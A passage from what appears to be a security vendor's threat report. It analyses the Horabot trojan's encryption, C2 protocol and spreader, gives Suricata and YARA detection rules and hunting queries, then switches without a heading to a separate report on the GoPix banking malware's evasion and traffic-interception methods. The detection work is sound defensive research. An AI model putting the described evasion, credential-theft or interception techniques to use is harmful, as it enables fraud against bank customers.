The encrypted strings are retrieved in three different ways: through indexed lookups using a global encrypted Delphi string list (also observed by our colleagues at ESET); via direct references to encrypted hex strings in the data section; through indirect references using pointer variables, adding an overhead when automating decryption with scripts.
Direct pointer (left), indirect pointer (right)
Indexed strings via TStringList lookups
The malware fetches its configuration by performing an HTTPS GET request to the hardcoded, encrypted C2 server. The server responds with a configuration, which is a raw HTTP response, consisting of several values, each individually encrypted with the aforementioned algorithm. The sample extracts specific parameters based on their position in the list.
To improve readability, the above screenshot has been edited to include the decrypted parameters, which are separated by double newlines.
Configuration retrieval and parsing are initiated in the sub_00AD2C70 subroutine where the first configuration value, the C2 socket connection setting (host;port), is extracted.
C2 socket address extraction
If parsing fails, the malware falls back to a hardcoded secondary C2 socket address. The socket connection is then established.
Fallback to hardcoded socket address (lifenews[.]pro:49569)
Additional configuration values are parsed in sub_00AD2918 and its subroutines. For example, in the decrypted C2 configuration shown above, parameter 5 contains the “UPON” string that triggers execution, and parameter 6 contains the PowerShell commands that are run when this string is used. Below is the portion of the routine that takes care of parsing this command:
Extracting value 5 and 6 from the configuration
In addition to HTTP communication, the malware supports raw socket communication using a custom protocol that encapsulates commands into tags such as <|SIMPLE_TAG|> or <|TAG|>Arg1<|>Arg2<<|>.
The client initiates the C2 connection in sub_00AD331C, where it establishes a TCP socket to the operator’s server and sends the "PRINCIPAL" command to request a control channel. After receiving an OK response, it follows up with an "Info" message containing system details. Once validated, the server replies with a "SocketMain" message containing a session ID, completing the handshake. All subsequent command handling occurs in sub_00AD373C, a central orchestrator routine that parses incoming messages and dispatches the malicious actions.
The sample, and therefore the protocol itself, is inherited, from the open-source Delphi Remote Access PC project, as our colleagues at ESET have noted in the past. Below is a visual comparison:
Comparison of “PING” and “Close” commands (sample disassembly on the left, Delphi Remote Access source code on the right)
Some features from the open-source project, including the chat and file manipulation commands, have been removed, while some mouse-related commands have been renamed with playful prefixes like “LULUZ” (e.g., LULUZLD, LULUZPos). This could be an inside joke, anti-analysis obfuscation, or a way to mark custom variants. Beyond the standard functionality, the protocol now includes a range of additional custom commands, such as LULUZSD for mouse wheel scrolling down, ENTERMANDA to simulate pressing the Enter key, and COLADIFKEYBOARD to inject arbitrary text as keystrokes.
The full command set is considerably larger, and while not all commands are implemented in the analyzed sample, evidence of their presence (e.g., in the form of strings) suggests ongoing development.
After getting a sense of the protocol, let’s focus on the cipher used. In this sample, traffic exchanged via the C2 socket channel is encrypted using another stateful XOR algorithm with embedded decryption keys. Its logic is implemented in the routines sub_00A9F2D0 (encryption) and sub_00A9F5C0 (decryption):
Encryption routine sub_00A9F2D0
The encryption routine generates three random four-digit integer keys. The first key acts as the initial cipher state, while the other two serve as the multiplier and increment that are applied at every encryption stage to both the state and the data. For each character in the input string, it takes the high byte of the current state, XORs it with the character to encrypt, and then updates the cipher state for the next character. The output is created by prepending the three keys to the ciphertext, encapsulating everything within the “##” markers. The final output looks like this:
Although this encryption layer was likely intended to evade network inspection, it ironically makes detection easier due to its highly regular and repetitive structure. This pattern, including the external markers “##”, is uncommon in legitimate traffic and can be used as a reliable network signature for IDS/IPS systems. Below is a Suricata rule that matches the described structure:
alert tcp any any -> any any ( \
msg:"Horabot C2 socket communication (##hex##)"; \
flow:established; \
content:"##"; depth:2; fast_pattern; \
content:"##"; endswith; \
pcre:"/^##[1-9][0-9]{3}[1-9][0-9]{3}[1-9][0-9]{3}[0-9A-F]+##$/"; \
classtype:trojan-activity; \
sid:1900000; \
rev:1; \
metadata:author Domenico; \
)
As documented by our colleagues at Fortinet, the malware contains functionality to display fake pop-ups prompting victims to enter their banking credentials. The images for these pop-ups are stored as encrypted resources. Unlike strings, resources are decrypted using the standard RC4 cipher, and the key pega-avisao3234029284 is retrieved from the previous TStringList structure at offset 3FEh.
Fake token overlay used for credential theft (right), with disassembly (left)
The wordplay around “pega a visão”, Brazilian slang meaning “get the picture” figuratively, reveals an intentional cultural reference, supporting the already well-known Brazilian ties of the operators who have a native understanding of the language.
Below is a collage of pictures where the targeted bank overlays are visible.
Excerpt of decrypted fake overlays
Stage 4: The spreader
In our tests, we noticed that both the VBScript (the heavy lifter) and the Delphi DLL have overlapping functionality for downloading the next stage via PowerShell. Although they rely on different domains, they follow the same URL pattern.
We tried accessing URLs meant for downloading the spreader. One returned nothing, while the other displayed a sequence of two PowerShell stagers before reaching the actual spreader.
In the second stager, we found several Base64-encoded URLs, but only one of them was active during our analysis. Based on comments found in the spreader code, we suspect that in previous versions or campaigns the spreader was assembled piece by piece from these other URLs. In our case, however, a single URL contained all the necessary code.
Yes, we also wondered how PowerShell could possibly accept ASCII chaos as variable/function names, but it does. After cleaning up the messy naming convention and reviewing the well-commented routines (thanks, threat actor), we were able to identify its main duties:
Harvest emails via the MAPI namespace;
Exfiltrate unique email addresses to the C2;
Clean up the outbox;
Filter the exfiltrated email addresses against a blocklist of keywords;
Prepare a phishing email containing a malicious PDF;
Mass-distribute the email to the filtered addresses.
One interesting point is that the spreader’s code and comments allow us to extract some useful intel:
All comments are written in Brazilian Portuguese, which gives a strong indication of the threat actor’s origin.
It is fairly easy to distinguish comments written by a human from those most likely generated by an AI/LLM; the latter are too formal and remarkably well-formatted. One of the human comments actually inspired the title of this article.
One of the comments in the code reads “limpa a caixa de saida antes de sapecar”. Sapecar has a very specific meaning that only Brazilian Portuguese speakers would naturally understand. The closest equivalent to this comment in English would be: “Clear the outbox before you blast it off or let it rip.”
Our team tracked Horabot activity for a few months and compiled a collection of malicious attachment examples used in this campaign. They are all written in Spanish and urge the user to click a large button in the document to access a “confidential file” or an “invoice”. Clicking the button triggers the same infection chain described in this article.
Detection engineering and threat hunting opportunities
After navigating this long, layered attack chain, we bet some of the tech folks reading this have already started imagining potential detection opportunities.
With that in mind, this section provides some rules and queries that you can use to detect and hunt this threat in your own environment.
YARA rules
The YARA rules focus on two core components of the operation: the AutoIt script that functions as the loader, and the Delphi DLL that serves as the banking Trojan.
import "pe"
rule Horabot_Delphi_Trojan
{
meta:
author = "maT"
description = "Detects Horabot payload/trojan (Delphi DLL)"
hash_01 = "6272ef6ac1de8fb4bdd4a760be7ba5ed"
hash_02 = "4caa797130b5f7116f11c0b48013e430"
hash_03 = "c882d948d44a65019df54b0b2996677f"
condition:
uint32be(0) == 0x4d5a5000 and
filesize < 150MB and
pe.is_dll() and
pe.number_of_exports == 4 and
pe.exports("dbkFCallWrapperAddr") and
pe.exports("__dbk_fcall_wrapper") and
pe.exports("TMethodImplementationIntercept") and
pe.exports(/^[A-Z][0-9]{6}_[A-Z0-9]$/)
}
rule Horabot_AutoIT_Loader
{
meta:
author = "maT"
description = "Detects AutoIT script used as a loader by Horabot"
strings:
$winapi_01 = "Advapi32.dll"
$winapi_02 = "CryptDeriveKey"
$winapi_03 = "CryptDecrypt"
$winapi_04 = "MemoryLoadLibrary"
$winapi_05 = "VirtualAlloc"
$winapi_06 = "DllCallAddress"
$str_seed = "99521487"
$str_func01 = "B080723_N"
$str_func02 = "A040822_1"
$opt_hexstr01 = { 20 3D 20 22 ?? ?? ?? ?? ?? ?? ?? 5F ?? 22 20 0D 0A 4C 6F 63 61 6C 20 24} // = "B080723_N" CRLF Local $
$opt_aes192 = "0x0000660f" // CALG_AES_192
$opt_md5 = "0x00008003" // CALG_MD5
condition:
filesize < 100KB and
all of ($winapi*) and
(
1 of ($str*) or
all of ($opt*)
)
}
Hunting queries
You may notice that some patterns in this section do not appear in the URLs described earlier in the article. These additional patterns were included because we observed small variations introduced by the threat actor over time, such as the use of QR codes in the lure pages.
VirusTotal Intelligence
entity:url (url:”0DOWN1109″ or url:”0QR-CODE” or url:”0zip0408″ or url:”0out0408″ or url:”0capcha17″ or url:”/g1/ld1/” or url:”/g1/auxld1″ or url:”/au/gerapdf/blqs1″ or url:”/au/gerauto.php” or url:”g1/ctld” or url:”index25.php” or url:”07f07ffc-028d” or url:”0AT14″ or url:”0sen711″) or (url:”index15.php” and (url:”/on7″ or url:”/on7all” or url:”/inf”))
URLScan
page.url.keyword:/.*\/([0-9]{6}|reserva)\/(au|up)\/.*/ OR page.url:(*0DOWN1109* OR *0QR-CODE* OR *0zip0408* OR *0out0408* OR *0capcha17* OR *\/g1\/ld1* OR *\/g1\/auxld1* OR *\/au\/gerapdf\/blqs1* OR *\/au\/gerauto.php* OR *\/g1\/ctld* OR *\/index25.php OR *\/index15.php)
GoPix is an advanced persistent threat targeting Brazilian financial institutions’ customers and cryptocurrency users. It represents an evolved threat targeting internet banking users through memory-only implants and obfuscated PowerShell scripts. It evolved from the RAT and Automated Transfer System (ATS) threats that were used in other malware campaigns into a unique threat never seen before. Operating as a LOLBin (Living-off-the-Land Binary), GoPix exemplifies a sophisticated approach that integrates malvertising vectors via platforms such as Google Ads to compromise prominent financial institutions’ customers.
Our extensive analysis reveals GoPix’s capabilities to execute man-in-the-middle attacks, monitor Pix transactions, Boleto slips, and manipulate cryptocurrency transactions. The malware strategically bypasses security measures implemented by financial institutions while maintaining persistence and employing robust cleanup mechanisms to challenge Digital Forensics and Incident Response (DFIR) efforts.
GoPix has reached a level of sophistication never before seen in malware originating in Brazil. It’s been over three years since we first identified it, and it remains highly active. The threat is recognized for its stealthy methods of infecting victims and evading detection by security software, using new tricks to stay operable.
The threat differs in its behavior from the RATs already seen in other Brazilian families, such as Grandoreiro. GoPix uses C2s with a very short lifespan, which stay online only for a few hours. In addition, the attackers behind this threat abuse legitimate anti-fraud and reputation services to perform targeted delivery of its payload and ensure that they have not infected a sandbox or system used in analysis. They handpick their victims, financial bodies of state governments and large corporations.
The campaign leverages a malvertisement technique which has been active since December 2022. The strategic use of multiple obfuscation layers and a stolen code signing certificate showcases GoPix’s ability to evade traditional security defenses and steal and manipulate sensitive financial data.
The Brazilian group behind GoPix is clearly learning from APT groups to make malware persistent and hide it, loading its modules into memory, keeping few artifacts on disk, and making hunting with YARA rules ineffective for capturing them. The malware can also switch between processes for specific functionalities, potentially disabling security software, as well as executing a man-in-the-middle attack with a previously unseen technique.
Initial infection
Initial infection is achieved through malvertising campaigns. The threat actors in most cases use Google Ads to spread baits related to popular services like WhatsApp, Google Chrome, and the Brazilian postal service Correios and lure victims to malicious landing pages.
We have been monitoring this threat since 2023, and it continues to be very active for the time being.
When the user ends up on the GoPix landing page, the malware abuses legitimate IP scoring systems to determine whether the user is a target of interest or a bot running in malware analysis environments. The initial scoring is done through a legitimate anti-fraud service, with a number of browser and environment parameters sent to this service, which returns a request ID. The malicious website uses this ID to check whether the user should receive the malicious installer or be redirected to a harmless dummy landing page. If the user is not considered a valuable target, no malware is delivered.
Website shown if the user is detected as a bot or sandbox
However, if the victim passes the bot check, the malicious website will query the check.php endpoint, which will then return a JSON response with two URLs:
JSON response from a malicious endpoint
The victim will then be presented with a fake webpage offering to download advertised software, this being the malicious “WhatsApp Web installer” in the case at hand. To decide which URL the victim will be redirected to, another check happens in the JavaScript code for whether the 27275 port is open on localhost.
WebSocket request to check if the port is open
This port is used by the Avast Safe Banking feature, present in many Avast products, which are very popular in countries like Brazil. If the port is open, the victim is led to download the first-stage payload from the second URL (url2). It is a ZIP file containing an LNK file with an obfuscated PowerShell designed to download the next stage. If the port is closed, the victim is redirected to the first URL (url), which offers to download a fake WhatsApp executable NSIS installer.
At first, we thought this detection could lead the victim to a potential exploit. However, during our research, we discovered that the only difference was that if Avast was installed, the victim was led to another infection vector, which we describe below.
Malware delivered through a malicious website
Infection chain
First-stage payload
If no Avast solution is installed, an executable NSIS installer file is delivered to the victim’s device. The attackers change this installer frequently to avoid detection. It’s digitally signed with a stolen code signing certificate issued to “PLK Management Limited”, also used to sign the legitimate “Driver Easy Pro” software.
Stolen certificate used to sign the malicious installer
The purpose of the NSIS installer is to create and run an obfuscated batch file, which will use PowerShell to make a request to the malicious website for the next-stage payload.
NSIS installer code creating a batch file
However, if the 27275 port is open, indicating the victim has an Avast product installed, the infection happens through the second URL. The victim is led to download a ZIP file with an LNK file inside. This shortcut file contains an obfuscated command line.
The purpose of this command line is to download and execute the next-stage payload from the malicious URL referenced above.
It’s highly likely this method is used because Avast Safe Browser blocks direct downloads of executable files, so instead of downloading the executable NSIS installer, a ZIP file is delivered.
Once the PowerShell command from either the LNK or EXE file is executed, GoPix executes yet another obfuscated PowerShell script that is remotely retrieved (in the GoPix downloader image below, it’s defined as “PowerShell Script”).
GoPix delivery chain
Initial PowerShell script
This script’s purpose is to collect system information and send it to the GoPix C2. Upon doing so, the script obtains a JSON file containing GoPix modules and a configuration that is saved on the victim’s computer.
System information collection
The information contained within this JSON is as follows:
Folder and file names to be created under the %APPDATA% directory
Obfuscated PowerShell script
Encrypted PowerShell script ps
Malicious code implant sc containing encrypted GoPix dropper shellcode, GoPix dropper, main payload shellcode and main GoPix implant
GoPix configuration file pf
Once these files are saved, an additional batch file is also created and executed. Its purpose is to launch the obfuscated PowerShell script.
Upon execution, the obfuscated PowerShell script decrypts the encrypted PowerShell script ps, starts another PowerShell instance, and passes the decrypted script through its stdin, so that the decrypted script is never loaded to disk.
Deobfuscated PowerShell script
Decrypted PowerShell script “ps”
The purpose of this memory-only PowerShell script is to perform an in-memory decryption of the GoPix dropper shellcode, GoPix dropper, main payload shellcode and main GoPix malware implant into allocated memory. After that, it creates a small piece of shellcode within the PowerShell process to jump to the GoPix dropper shellcode previously decrypted.
PowerShell script shellcode jumps to the malware loader shellcode
The GoPix dropper shellcode is built for either the x86 or x64 architecture, depending on the victim’s computer.
Building the GoPix shellcode depending on the targeted architecture
Shellcode
This shellcode is bundled with the malware and stays in encrypted form on disk. It is utilized at two separate stages of the infection chain: first to launch the GoPix dropper and subsequently to execute the main GoPix malware. We’ve observed two versions of this shellcode. The main difference is the old one resolves API addresses by their names, while the latest one employs a hashing algorithm to determine the address of a given API. The API hash calculation begins by generating a hash for the DLL name, and this resulting hash is then used within the function name to compute the final API hash.
The old sample (left) used stack strings with API names. The new sample (right) uses the API hashing obfuscation technique
The first time GoPix is dropped into memory through PowerShell, its structure is as follows:
Memory dropper shellcode
Memory dropper DLL
Main payload shellcode
Main payload DLL
Both DLLs have their MZ signature erased, which helps to evade detection by memory dumping tools that scan for PE files in memory.
MZ signature zeroed
GoPix dropper
When the main function from the dropper is called, it verifies if it is running within an Explorer.exe process; if not, it will terminate. It then sequentially checks for installed browsers — Chrome, Firefox, Edge, and Opera — retrieving the full path of the first detected browser from the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths. A significant difference from previously analyzed droppers is that this version encrypts each string using a unique algorithm.
After selecting the browser, the dropper uses direct syscalls to launch the chosen browser process in a suspended state. This allows it to inject the main GoPix shellcode and its parameters into the process. The injected shellcode is tasked with extracting and loading the main GoPix implant directly into memory, subsequently calling its exported main function. The parameters passed include the number 1, to trigger the main GoPix function, and the current Process ID, which is that of Explorer.exe.
The dropper uses a syscall instruction and calls the GoPix in-memory implant’s main function
Main GoPix implant
Clipboard stealing functionality
Boleto bancário was added as one of the targets to the malware’s clipboard stealing and replacing feature. Boleto is a popular payment method in Brazil that functions similarly to an invoice, being the second most popular payment system in the country. It is a standardized document that includes important payment information such as the amount due, due date, and details of the payee. It features a typeable line, which is a sequence of numbers that can be entered in online banking applications to pay. This line is what GoPix targets with its functionality. An example of such a line is “23790.12345 60000.123456 78901.234567 8 76540000010000”.
Boleto bancário targeted in clipboard-stealing functionality
When GoPix detects a Pix or Boleto transaction, it simply sends this information to the C2. However, when a Bitcoin or Ethereum wallet is copied to the clipboard, the malware replaces the address with one belonging to the threat actor.
Unique man-in-the-middle attack
PAC (Proxy AutoConfig) files are nothing new; they’ve been used by Brazilian criminals for over two decades, but GoPix takes this to another level. While in the past, criminals used PAC files to redirect victims to a fake phishing page, the purpose of the PAC file in GoPix attacks is to manipulate the traffic while the user navigates the legitimate financial website.
In order to hide which site GoPix wants to intercept, it uses a CRC32 algorithm in the host field of the PAC file. It is formatted on the fly using a pf configuration file: the items in it determine which proxy the victim will be redirected to. To hide its malicious proxy server, once a connection is opened to the proxy server, the malware enumerates all connections and finds the process that initiated it. It then takes the process executable name CRC32C checksum and compares it with a hardcoded list of browsers’ CRC checksums. If it doesn’t match a known browser, the malware simply terminates the connection.
PAC file excerpt
To uncover GoPix targets, we compiled a list of many Brazilian financial institution domains and subdomains, computed their CRC32 checksums, and compared them against GoPix hardcoded values. The table below shows each CRC32 and its target.
CRC32
Target
8BD688E8
local
8CA8ACFF
www2.banco********.com.br
AD8F5213
autoatendimento.********.com.br
105A3F17
www2.****.com.br
B477FE70
internetbanking.*******.gov.br
785F39C2
loginx.********.br
C72C8593
internetpf.*****.com.br
75E3C3BA
internet.*****.com.br
FD4E6024
internetbanking.*******.com.br
HTTPS interception
Since every communication is encrypted via HTTPS, GoPix bypasses this by injecting a trusted root certificate into the memory of a web browser while on the victim’s machine. This allows the attacker to sniff and even manipulate the victim’s traffic. We have found two certificates across GoPix samples, one that expired in January 2025 and another created in February 2025 that is set to expire in February 2027.
GoPix trusted root certificate
Conclusion
With the ability to load its memory-only implant that employs a malicious Proxy AutoConfig (PAC) file and an HTTP server to execute an unprecedented man-in-the-middle attack, GoPix is by far the most advanced banking Trojan of Brazilian origin. The injection of a trusted root certificate into the browser enhances its ability to intercept and manipulate sensitive financial data while maintaining its stealth profile, as the malicious certificate is not visible to operating system tools. Additionally, GoPix has expanded its clipboard monitoring capability by adding Boleto slips to its arsenal, which already includes Pix transactions and cryptowallets addresses.
This is a sophisticated threat, with multiple layers of evasion, persistence, and functionality. The investigation into the malware’s shellcode, dropper, and main module uncovered intricate mechanisms, including process jumping to leverage specific functionalities across processes. This technique, combined with robust string encryption methods applied to both the dropper and main payload, indicates that the threat actor has gone to great lengths to hinder detection. Interestingly enough, attackers adopted the use of a legitimate commercial anti-fraud service to pre-qualify their targets, aiming to avoid sandboxes and security researchers’ investigations. Additionally, the persistence and cleanup mechanisms implemented by the malware enhance its durability during incident response efforts, with very short C2 lifespans.
Login
![Fake CAPTCHA page at the URL https://evs.grupotuis[.]buzz/0capcha17/](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/02/24133444/horabot-campaign1.png)
![Fallback to hardcoded socket address (lifenews[.]pro:49569)](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/02/24182634/horabot-campaign14.png)
